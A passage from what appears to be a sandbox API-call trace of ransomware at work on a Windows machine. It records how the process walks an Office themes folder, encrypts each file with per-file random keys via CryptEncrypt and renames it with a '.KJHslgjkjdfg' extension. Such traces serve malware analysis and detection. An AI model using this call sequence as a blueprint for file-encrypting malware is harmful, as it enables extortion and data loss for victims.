GetProcessHeap () returned 0x2ef0000 [0174.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0174.504] GetProcessHeap () returned 0x2ef0000 [0174.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0174.504] GetProcessHeap () returned 0x2ef0000 [0174.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.504] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0174.505] GetProcessHeap () returned 0x2ef0000 [0174.505] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0174.505] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0174.505] GetProcessHeap () returned 0x2ef0000 [0174.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0174.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0174.505] GetProcessHeap () returned 0x2ef0000 [0174.505] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0174.505] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0174.505] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0174.505] GetProcessHeap () returned 0x2ef0000 [0174.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f10788 [0174.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.506] GetProcessHeap () returned 0x2ef0000 [0174.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.506] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.506] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.506] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0174.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.582] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.582] GetProcessHeap () returned 0x2ef0000 [0174.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.582] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.582] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.582] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.582] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.582] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.582] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.583] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.583] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.583] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.583] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.583] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x53b, lpOverlapped=0x0) returned 1 [0174.583] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x540, dwBufLen=0x540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x540) returned 1 [0174.583] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.583] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x540, lpOverlapped=0x0) returned 1 [0174.583] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.583] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.583] SetEndOfFile (hFile=0x12c) returned 1 [0174.586] GetProcessHeap () returned 0x2ef0000 [0174.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.586] GetProcessHeap () returned 0x2ef0000 [0174.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.kjhslgjkjdfg")) returned 1 [0174.593] CloseHandle (hObject=0x12c) returned 1 [0174.593] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0174.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.595] GetProcessHeap () returned 0x2ef0000 [0174.595] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.595] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.595] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.595] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0174.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.631] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.631] GetProcessHeap () returned 0x2ef0000 [0174.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.631] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.631] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.631] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.631] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.631] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.631] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.631] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.632] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.632] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.632] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.632] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb20e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb20e, lpOverlapped=0x0) returned 1 [0174.663] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb210, dwBufLen=0xb210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb210) returned 1 [0174.664] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.664] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb210, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb210, lpOverlapped=0x0) returned 1 [0174.664] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.664] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.664] SetEndOfFile (hFile=0x12c) returned 1 [0174.668] GetProcessHeap () returned 0x2ef0000 [0174.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.668] GetProcessHeap () returned 0x2ef0000 [0174.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.kjhslgjkjdfg")) returned 1 [0174.679] CloseHandle (hObject=0x12c) returned 1 [0174.679] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0174.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.680] GetProcessHeap () returned 0x2ef0000 [0174.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.680] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.680] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.680] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0174.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.682] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.682] GetProcessHeap () returned 0x2ef0000 [0174.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.682] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.682] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.682] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.682] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.682] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.682] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.683] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.683] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.683] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.683] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.683] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x24b, lpOverlapped=0x0) returned 1 [0174.683] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250) returned 1 [0174.683] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.683] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x250, lpOverlapped=0x0) returned 1 [0174.683] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.683] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.683] SetEndOfFile (hFile=0x12c) returned 1 [0174.686] GetProcessHeap () returned 0x2ef0000 [0174.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.686] GetProcessHeap () returned 0x2ef0000 [0174.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.kjhslgjkjdfg")) returned 1 [0174.695] CloseHandle (hObject=0x12c) returned 1 [0174.695] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0174.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.695] GetProcessHeap () returned 0x2ef0000 [0174.695] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.696] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.696] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.696] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0174.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.700] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.700] GetProcessHeap () returned 0x2ef0000 [0174.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.700] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.700] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.700] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.700] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.700] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.701] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.701] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.701] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.701] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | 